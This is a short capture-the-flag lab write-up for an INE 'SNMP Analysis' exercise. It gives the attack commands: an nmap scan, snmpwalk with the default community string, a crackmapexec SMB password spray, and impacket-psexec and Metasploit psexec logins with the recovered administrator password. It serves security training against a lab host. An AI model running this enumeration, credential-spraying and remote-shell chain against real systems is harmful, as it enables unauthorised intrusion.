# SNMP Analysis

## Lab Environment

In this lab environment, the user will get access to a Kali GUI instance. An instance of the vulnerable service can be accessed using the tools installed on Kali at \[<http://demo.ine.local>]

**Objective:** Exploit the target to gain the shell and find the flag!

## Tools

The best tools for this lab are:

* Nmap
* Metasploit Framework
* snmpwalk
* Hydra

## Writeup

```sh
nmap -sU -p 161 -sSVC  demo.ine.local
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2Fe9kyFpJyC4K4QrPExE32%2Fimage.png?alt=media&#x26;token=28370f01-6f0c-465e-aff6-e9b999886f32" alt=""><figcaption></figcaption></figure>

```sh
snmpwalk -v2c -c public demo.ine.local
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FYINQzWKzFBcl3cF2zHON%2Fimage.png?alt=media&#x26;token=db9914eb-24ec-48a2-88d7-4bdbf477a1ce" alt=""><figcaption></figcaption></figure>

```sh
crackmapexec smb demo.ine.local -u users.txt -p /usr/share/wordlists/metasploit/unix_passwords.txt --continue-on-success | grep "+"
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FQXPzxxYguZxlawuOT26s%2Fimage.png?alt=media&#x26;token=d1dfc8e6-3ae4-4aab-b0f8-48cde05ea01f" alt=""><figcaption></figcaption></figure>

```sh
impacket-psexec AttackDefense/administrator:elizabeth@demo.ine.local

msfconsole
use exploit/windows/smb/psexec
set rhosts demo.ine.local
set smbuser administrator
set smbpass elizabeth
run
```

<figure><img src="https://1937981690-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FzuuWuDn9s4dQ1J0kb7tE%2Fuploads%2FR6E5JEI3r7A5RgIQvPJG%2Fimage.png?alt=media&#x26;token=a7757890-3997-4b42-952a-bf4ae10594e0" alt=""><figcaption></figcaption></figure>
